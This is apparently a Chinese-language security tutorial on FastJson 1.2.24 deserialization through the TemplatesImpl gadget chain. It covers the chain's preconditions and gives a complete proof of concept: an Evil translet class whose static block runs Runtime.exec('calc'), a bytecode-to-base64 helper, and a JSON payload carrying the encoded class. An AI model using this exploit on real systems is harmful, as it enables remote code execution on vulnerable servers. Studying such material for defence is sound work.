目錄

簡要原理分析

exp

---

前文：【Web】關于FastJson反序列化開始前的那些前置知識

簡要原理分析

眾所周知TemplatesImpl的利用鏈是這樣的：

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

而getOutputProperties()正是TemplatesImpl的_outputProperties屬性對應的getter方法

所以我們只要利用FJ反序列化會調用類的getter方法的特性來打TemplatesImpl即可

需要注意幾點：

①

在調用TemplatesImpl利用鏈時，defineTransletClasses方法內部會通過_tfactory屬性調用一個getExternalExtensionsMap方法，如果_tfactory屬性為null則會拋出異常，無法根據_bytecodes屬性的內容加載并實例化惡意類

②getTransletInstance方法中判斷if (_name == null) return null; 所以要給_name賦值（String）

③_outputProperties：json數據在反序列化時會調用TemplatesImpl類的getOutputProperties方法觸發利用鏈，可以理解為outputProperties屬性的作用就是為了調用getOutputProperties方法。

④由于更改的一些TemplatesImpl私有變量沒有 setter 方法，需要使用 Feature.SupportNonPublicField 參數。也正是因此，TemplatesImpl這條鏈的泛用性不強(

exp

pom依賴

 <dependencies><dependency> <groupId>com.alibaba</groupId><artifactId>fastjson</artifactId> <version>1.2.24</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version></dependency></dependencies>

惡意類

package com.FJ;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {//構造RCE代碼static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

字節碼轉base64小工具

package com.FJ;import javassist.ClassPool;
import java.util.Base64;public class base64util {public static void main(String[] args) throws Exception {byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();System.out.println(Base64.getEncoder().encodeToString(code));}
}

召喚計算器的咒語

package com.FJ;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import javassist.*;
import java.io.IOException;public class FJ {public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {//惡意類Evil轉換成字節碼，base64編碼String byteCode = "yv66vgAAADcAMwoACAAjCgAkACUIACYKACQAJwcAKAoABQApBwAqBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MY29tL0ZKL0V2aWw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACwBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAJAAoHAC0MAC4ALwEABGNhbGMMADAAMQEAE2phdmEvaW8vSU9FeGNlcHRpb24MADIACgEAC2NvbS9GSi9FdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAATAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAWAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAA0ACQAQAAwADgANAA8AEQARAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAFBAABACEAAAACACI=";//構造TemplatesImpl的json數據，并將惡意類注入到json數據中final String EVIL_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String payload = "{\"@type\":\"" + EVIL_CLASS +"\",\"_bytecodes\":[\""+byteCode+"\"]," +"'_name':'XXX'," +"'_tfactory':{}," + //這段代碼中的{}是用來表示空的對象實例"\"_outputProperties\":{}}\n";System.out.println(payload);//反序列化Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);}
}